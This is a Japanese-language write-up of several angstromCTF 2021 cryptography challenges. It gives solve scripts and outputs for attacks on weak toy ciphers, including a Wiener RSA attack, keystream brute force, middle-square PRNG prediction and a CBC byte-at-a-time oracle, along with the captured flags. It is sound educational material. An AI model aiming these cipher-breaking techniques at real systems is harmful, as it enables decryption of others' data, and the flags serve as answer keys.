n = 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
e = 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
c = 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227

p, q = wiener(n, e)

flag = decrypt(p, q, e, c)
print flag
actf{d0ggy!!!111!1}

Home Rolled Crypto (CRYPTO 70)

サーバの処理概要は以下の通り。

■1
・入力した16進数文字列をデコードし、暗号化する。
 ・keyの長さは16*3
 ・平文の長さが16の倍数になるよう\x00でパディング
 ・ブロック単位で暗号化
  ・3回以下の暗号化
   ・k: keyのi番目ブロック
   ・数値化して &k, ^kの順に暗号化

■2
・以下10回繰り返し
 ・ランダムな平文を表示
 ・表示の平文の暗号を答える。
  →間違えたら、終了
・10回正解したらフラグが表示される。

bit単位で1対1対応するので、例えば以下のバイトを指定すれば、すべてのパターンがわかる。

\x00の16バイト + \x01の16バイト

これで対応するビットから2で提示の平文を暗号化する。

import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21602))

data = recvuntil(s, '? ')
print data + '1'
s.sendall('1\n')
data = recvuntil(s, ': ')
pt = '0' * 32 + 'f' * 32
print data + pt
s.sendall(pt + '\n')
data = recvuntil(s, '\n').rstrip()
print data

tbl = bin(int(data, 16))[2:].zfill(256)

data = recvuntil(s, '? ')
print data + '2'
s.sendall('2\n')

for _ in range(10):
    data = recvuntil(s, '\n').rstrip()
    print data

    pt = data.split(' ')[-1]
    b_pt = bin(int(pt, 16))[2:].zfill(256)
    b_ct = ''
    for i in range(len(b_pt)):
        if b_pt[i] == '0':
            b_ct += tbl[i%128]
        else:
            b_ct += tbl[(i%128)+128]
    ct = ''
    for i in range(0, len(b_ct), 4):
        ct += hex(int(b_ct[i:i+4], 2))[2:]
    print ct
    s.sendall(ct + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Would you like to encrypt [1], or try encrypting [2]? 1
What would you like to encrypt: 00000000000000000000000000000000ffffffffffffffffffffffffffffffff
744390b4619fdc11266075b044474846704210b4210ddc112460351040434042
Would you like to encrypt [1], or try encrypting [2]? 2
Encrypt this: b978acd3a8f76b3ac979d98d1b36798b85c6d383d840e638ad05fe2e166ef582
744310b4610ddc112660353044434046704310b4219fdc112660359040434846
Encrypt this: d63e298aae092a9db95a43d9326f62bc0dc9c9d8948f23c5d8d9c4a5f6938a5a
704390b4619fdc112660353044434842704210b4611ddc112660351040474046
Encrypt this: 7ea2a6195955cd6030d7446f3cbf4f5cfbbe65b0763bfc0a418f446e5fbedc99
704310b4218fdc112660359040434042744390b4218ddc112660359040434046
Encrypt this: c168200e78ee6b670ad13b7dee0d690438a508e820a874f6cb4cf83e2c30d723
744390b4211ddc112460759040434042744290b4611fdc112460359040474846
Encrypt this: f3dd5abb23a991004df38675ce587865af1a82863ff1ce5c451d46532a90396a
744290b4611fdc112660759040474042704310b4610fdc11266035b044474046
Encrypt this: fd40e0381485eef7a6ff614a9b1b3fbaba1aea51913547ae3b8d7a2ac0f7f6fb
704310b4611fdc11246035b044474046744310b4618fdc112460359044434846
Encrypt this: 868b507fe126ed738c2eda6c222100b1b001980f833493a8076af2e7773bdb41
704290b4219ddc112660359044474846744210b4618fdc112460351040474046
Encrypt this: feacca4474b019404185bb6395d4f2a6e7f8f08761e9df318de6e1ea2a5e4212
704310b4210fdc112660759040434842704310b4211fdc112660351044434846
Encrypt this: e88677589fda62f0d479dbb7a153d8359af46a94485bb0f84b597ad29e5b3c4f
744390b4610ddc112660351044474042744390b4218ddc112460353040474042
Encrypt this: 8fabf5c64fba810b719e41d534044cea1d88810348a13a4c1eacb9bffa1ba7bc
704210b4210ddc112660353040434046704310b4211fdc112460751044474842
W
actf{no_bit_shuffling_is_trivial}
actf{no_bit_shuffling_is_trivial}

Follow the Currents (CRYPTO 70)

暗号の処理概要は以下の通り。

・plain: "atcf{"が含まれている。
・keystream()に対して1バイトずつXORする。

keystreamは実質最初の2バイトが決まると決定するので、最初の2バイトのブルートフォースで復号する。

#!/usr/bin/python3
import zlib

def keystream(key):
    index = 0
    while 1:
        index+=1
        if index >= len(key):
            key += zlib.crc32(key).to_bytes(4,'big')
        yield key[index]

with open('enc', 'rb') as f:
    enc = f.read()

for i in range(65536):
    key = i.to_bytes(2, byteorder='big')
    k = keystream(key)
    plaintext = []
    for c in enc:
        plaintext.append(c ^ next(k))
    plain = bytes(plaintext)
    if b'actf{' in plain:
        print(plain)
        break

実行結果は以下の通り。

b"x''R@\xc5\x05\xfb/9\xe7\x10\x13L\xc5\xd6\x19 minutes left before the ctf starts so i have no idea what to put here other than the flag which is actf{low_entropy_keystream}"
actf{low_entropy_keystream}

I'm so Random (CRYPTO 100)

サーバの処理概要は以下の通り。

・r1: seedが数値8桁のGenerator
・r2: seedが数値8桁のGenerator
・以下繰り返し
 ・r指定(3回まで実行可能)
  ・1.getNum() * r2.getNum()表示
 ・g指定
  ・以下2回繰り返し
   ・次のr1.getNum() * r2.getNum()を当てる
   →2回とも当てたらフラグが表示される。

※getNum()
・seed: seed**2を16桁数値文字列にし、4バイト目から12バイトを切り出したもの

rで出力した数値を素因数分解して、構成する数値を総当たりして、次の数値と合うものを探せばよい。

import socket
from sympy import divisors

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def getNum(seed):
    DIGITS = 8
    new_seed = int(str(seed**2).rjust(DIGITS*2, "0")[DIGITS//2:DIGITS + DIGITS//2])
    return new_seed

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21600))

data = recvuntil(s, '? ')
print data + 'r'
s.sendall('r\n')
data = recvuntil(s, '\n').rstrip()
print data
num1 = int(data)
div = divisors(num1)[::-1]

data = recvuntil(s, '? ')
print data + 'r'
s.sendall('r\n')
data = recvuntil(s, '\n').rstrip()
print data
num2 = int(data)

data = recvuntil(s, '? ')
print data + 'r'
s.sendall('r\n')
data = recvuntil(s, '\n').rstrip()
print data
num3 = int(data)

for d1 in div:
    d2 = num1 // d1
    n1 = getNum(d1)
    n2 = getNum(d2)
    if n1 * n2 == num2:
        break

n1 = getNum(n1)
n2 = getNum(n2)
assert n1 * n2 == num3

data = recvuntil(s, '? ')
print data + 'g'
s.sendall('g\n')

for i in range(2):
    n1 = getNum(n1)
    n2 = getNum(n2)
    num = n1 * n2
    data = recvuntil(s, '? ')
    print data + str(num)
    s.sendall(str(num) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Would you like to get a random output [r], or guess the next random number [g]? r
1261727773530084
Would you like to get a random output [r], or guess the next random number [g]? r
405456470536536
Would you like to get a random output [r], or guess the next random number [g]? r
4035328445379777
Would you like to get a random output [r], or guess the next random number [g]? g
What is your guess to the next value generated? 124666902636048
What is your guess to the next value generated? 1166652205028904
Congrats! Here's your flag:
actf{middle_square_method_more_like_middle_fail_method}
actf{middle_square_method_more_like_middle_fail_method}

Circle of Trust (CRYPTO 100)

暗号の処理概要は以下の通り。

・flag: 長さが16の倍数になるよう\x00でパディング
・keynum: 128bitランダム整数
・ivnum: 128ビットランダム整数
・key: keynumの文字列化(ランダム16バイト)
・iv: ivnumの文字列化(ランダム16バイト)
・x: 1~BOUNT*MULTのランダム整数 / MULT
  ※0~2**128の小数
・以下3回繰り返し
 ・a, b = nums(x)
  ・a =  (- x * MULT 以上 x * MULT 以下整数) / MULT
   ※ - x ~ x の小数
  ・b = (x ** 2 - a ** 2).sqrt()
  ・random.randrange(2)の結果が1の場合、 b *= -1
 ・keynum + a, ivnum + bを表示

以下のことを考えていく。

a**2 + b**2 = x**2(xは不明だが、3つのa, bに対して共通)

・keynum + a = X
・ivnum + b = Y
とする。

(X - keynum)**2 + (Y - ivnum)**2 == x**2
この円の上に3点が乗っていて、円の中心は(keynum, ivnum)。

このことから円の中心を求めれば、keyとivがわかり、フラグを復号することができる。

#!/usr/bin/python3
from decimal import Decimal, getcontext
from Crypto.Cipher import AES

getcontext().prec = 50

def unpad(s):
    return s.rstrip(b'\x00')

def get_circle_center(x1, y1, x2, y2, x3, y3):
    d = 2 * ((y1 - y3) * (x1 - x2) - (y1 - y2) * (x1 - x3))
    x = ((y1 - y3) * (y1 ** 2 - y2 ** 2 + x1 ** 2 - x2 ** 2) - (y1 - y2) * (y1 ** 2 - y3 ** 2 + x1 ** 2 - x3 ** 2)) / d
    y = ((x1 - x3) * (x1 ** 2 - x2 ** 2 + y1 ** 2 - y2 ** 2) - (x1 - x2) * (x1 ** 2 - x3 ** 2 + y1 ** 2 - y3 ** 2)) / -d
    return x, y

with open('output.txt', 'r') as f:
    data = f.read()

params = [[Decimal(param.split(', ')[0][1:]), Decimal(param.split(', ')[1][:-1])] for param in data.split('\n')[:3]]
ct = bytes.fromhex(data.split('\n')[3])

x, y = get_circle_center(params[0][0], params[0][1], params[1][0], params[1][1], params[2][0], params[2][1])
keynum = round(x)
ivnum = round(y)
print('[+] keynum :', keynum)
print('[+] ivnum  :', ivnum)

key = keynum.to_bytes(16, 'big')
iv = ivnum.to_bytes(16, 'big')
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = unpad(cipher.decrypt(ct))
print(flag)

実行結果は以下の通り。

[+] keynum : 37208231231867697178862544207654698732
[+] ivnum  : 332394261916597077667241952352964236593
b'actf{elliptical_curve_minus_the_curve}'
actf{elliptical_curve_minus_the_curve}

Substitution (CRYPTO 130)

サーバの処理概要は以下の通り。

key: フラグの各文字のASCIIコードの配列
入力値valueによって、以下の和を表示する。

sum = 0
sum = sum * value + key[0]
sum = sum * value + key[1]
sum = sum * value + key[2]
      :
return sum % 691

もう少し読み下してみる。

■value = 0の場合
sum = key[-1] % 691

■value = 1の場合
sum = key[0] + key[1] + ... + key[-1] % 691

■value = 2の場合
sum = key[0] * 2**n + key[1] * 2**(n-1) + ... + key[-1]

行列で考えると以下のようになる。

0    0        ... 1       key[0]    125
1    1        ... 1       key[1]     :
2**n 2**(n-1) ... 1       key[2]     :
        :              ×    :   =  :

剰余環691上で行列を使って方程式を解けばよいが、keyのサイズがわからないため、1から総当たりで方程式を解く。

#!/usr/bin/sage
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def create_matrix(d):
    M = []
    for i in range(d):
        row = []
        for j in range(d):
            row.append(i**(d-j-1))
        M.append(row)
    return M

def matrix_to_key(k, size):
    key = ''
    for i in range(size):
        code = k[i][0]
        if code < 32 or code > 126:
            return ''
        else:
            key += chr(code)
    return key

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21601))

data = recvuntil(s, '\n').rstrip()
print data

sub = []
for i in range(50):
    data = recvuntil(s, '> ')
    print data + str(i)
    s.sendall(str(i) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    sub.append([int(data.split(' ')[1])])

    M = matrix(Zmod(691), create_matrix(i+1))
    S = matrix(Zmod(691), sub)
    K = M.inverse() * S
    key = matrix_to_key(K, i + 1)
    if 'actf{' in key:
        print key
        break

実行結果は以下の通り。

Enter a number and it will be returned with our super secret synthetic substitution technique
> 0
>> 125
> 1
>> 492
> 2
>> 670
> 3
>> 39
> 4
>> 244
> 5
>> 257
> 6
>> 104
> 7
>> 615
> 8
>> 129
> 9
>> 520
> 10
>> 428
> 11
>> 599
> 12
>> 404
> 13
>> 468
> 14
>> 465
> 15
>> 523
> 16
>> 345
> 17
>> 44
> 18
>> 425
> 19
>> 515
> 20
>> 116
> 21
>> 120
> 22
>> 515
> 23
>> 283
> 24
>> 651
> 25
>> 199
> 26
>> 69
> 27
>> 388
> 28
>> 319
> 29
>> 410
> 30
>> 133
> 31
>> 267
> 32
>> 215
> 33
>> 352
> 34
>> 521
> 35
>> 270
> 36
>> 629
> 37
>> 564
> 38
>> 662
> 39
>> 640
actf{polynomials_20a829322766642530cf69}
actf{polynomials_20a829322766642530cf69}

Oracle of Blair (CRYPTO 160)

サーバの処理は入力した文字列で"{}"をflagに置き換え、AES-CBCの復号を行い表示するようになっている。1文字ずつはみ出させ、復号結果を比較しながら、フラグ文字列を割り出していく方式が使えそうだ。

$ nc crypto.2021.chall.actf.co 21112
give input: 7b7d
25abfb806ac1465b260aa1eed2d0c1a4fd4737002526d841c7d3e9bec9a1dc95
give input: 347b7d
0c927b5c52d744d4a35d77624fa824cf6c70b0a22280c2bd8993e304fc3664dc
give input: 34347b7d
6c8af22c1018e020e56eef7fb1c6a9db2112ef6deff0bc34f4bd3cd17a46ecd2
give input: 3434347b7d
7f7662bc656814e219fe97b4a6dbe862811965205cb4c9ca6e9498b7d6903567
give input: 343434347b7d
dd35d25aff36272193d9ab1ffa033c32f23b442dcded174e72d6394b3b3b228e
give input: 34343434347b7d
3d5aafeb27a1505a039ad210e4a0a0c8535841e7697a0a7cc105156510edaacb
give input: 3434343434347b7d
43f44725226479d8f2817f647ac9695c2769080241a5e14c10af64b88ef434e9
give input: 343434343434347b7d
22c735b69171b2bcd8d8bae68a90634a38c598aeb2d350cfcbd739a7325ccedd
give input: 34343434343434347b7d
5756a7894733dd8703efaeb71d7738438826800222647391a3a437b288e1ff7d5ac255a79cb72f70067af36526c1325b

この方式のイメージは以下のようになる。

0123456789abcdef
XXXXXXXXXXXXXXXX PT00 ^ IV   --> CT00
XXXXXXXXXXXXXXX? PT01 ^ CT00 --> CT01
XXXXXXXXXXXXXXXX PT02 ^ CT01 --> CT02
XXXXXXXXXXXXXXXF PT03 ^ CT02 --> CT03
FFFFFFFFFFFFFFFF
FFFFFFFPPPPPPPPP

CT00 = CT02, CT01 = CT03 の場合、PT01 = PT03になる。

0123456789abcdef
XXXXXXXXXXXXXXXX PT00 ^ IV   --> CT00
XXXXXXXXXXXXXXX? PT01 ^ CT00 --> CT01
XXXXXXXXXXXXXXXF PT02 ^ CT01 --> CT02
FFFFFFFFFFFFFFFF PT03 ^ CT02 --> CT03
FFFFFFFPPPPPPPPP

以上を元にスクリプトにする。

import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21112))

flag = ''
for i in range(25):
    for code in range(32, 127):
        text = 'X' * (31 - i) + flag + chr(code) + 'X' * (31 - i) + '{}'
        print '[+]', text
        ct = text.encode('hex')
        data = recvuntil(s, ': ')
        print data + ct
        s.sendall(ct + '\n')
        data = recvuntil(s, '\n').rstrip()
        print data
        pt1 = data[32:64]
        pt3 = data[96:128]
        if pt1 == pt3:
            flag += chr(code)
            break

print '[*] flag:', flag

実行結果は以下の通り。

        :
[+] XXXXXXXactf{cbc_more_like_ecb_czXXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637a585858585858587b7d
3d831c1bc23df94e6b060c522a37e23e29b7997ba6d0938fd1c51ec08dfb2da85c9b1b0de437ab5839bb5c2a2a8ac5439171e2b70356cae9ed0692a13703d1fb
[+] XXXXXXXactf{cbc_more_like_ecb_c{XXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637b585858585858587b7d
31b6db92af06a5a459a6d155fc76805c0e380473ae91692fcf6290575238c35b5c9b1b0de437ab5839bb5c2a2a8ac5429171e2b70356cae9ed0692a13703d1fb
[+] XXXXXXXactf{cbc_more_like_ecb_c|XXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637c585858585858587b7d
42f74055898ade11bea70a4c2c83a8835137a4400457db56f276bdbb74408c3c5c9b1b0de437ab5839bb5c2a2a8ac5459171e2b70356cae9ed0692a13703d1fb
[+] XXXXXXXactf{cbc_more_like_ecb_c}XXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637d585858585858587b7d
39ef787e158091a3c31a25ae8d52a3e39171e2b70356cae9ed0692a13703d1fb5c9b1b0de437ab5839bb5c2a2a8ac5449171e2b70356cae9ed0692a13703d1fb
[*] flag: actf{cbc_more_like_ecb_c}
actf{cbc_more_like_ecb_c}

Survey (MISC 5)

アンケートに答えたら、フラグが表示された。

actf{roly_poly_fish_heads_are_never_seen_drinking_cappuccino_in_italian_restaurants_with_oriental_women_yeah}